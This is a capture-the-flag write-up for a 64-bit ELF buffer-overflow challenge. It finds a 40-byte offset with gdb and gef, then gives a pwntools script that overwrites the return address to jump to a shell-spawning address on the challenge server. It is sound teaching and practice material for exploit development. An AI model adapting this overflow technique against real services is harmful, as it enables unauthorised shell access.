
Taking a look at the file we can see that it's a **64-bit Elf** binary
```
pwnchal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
```
Nothing really stands out when analyzing with **radare2**. No win function this time, so let's take a look at the **vuln** function

Looks like there's an address that gives us a shell. Let's skip all the checks and just jump straight to that.
Loading the binary into **gdb** (using gef support), we can start poking at it and try to find the offset
I was having issues with `pattern create/search` so I did it the old fashioned way: sending lots of 'A's and 'B's until something looked neat
Using **gdb with gef** you can use `pi print('A'*100)` to quickly toss a string of characters together
After sending different lengths, I found that **40** was when we started seeing the 'B' characters leak in
`pi print('A'*40 + 'B')`

Things we know
1. It's a **64-bit ELF** binary
2. The address we want to jump to is 0x004011a1
3. The offset is 40
Here's my script using **pwntools**
```Python
from pwn import *
p = remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480)
offset = b'A'* 40
p.recvuntil('dreaming?\n')
p.sendline(offset + p64(0x004011a1))
p.interactive()
```
The `p64(0x004011a1)` function call packs the address in **Little Endian** format, required to be passed, and `p.interactive()` just catches the shell and allows us to send input.

---
Back to [[_WebSite Publish/CTF/CTF Index|CTF Index]]
Tags: #ctf #exploit_development #buffer_overflow #gdb #gef
Related: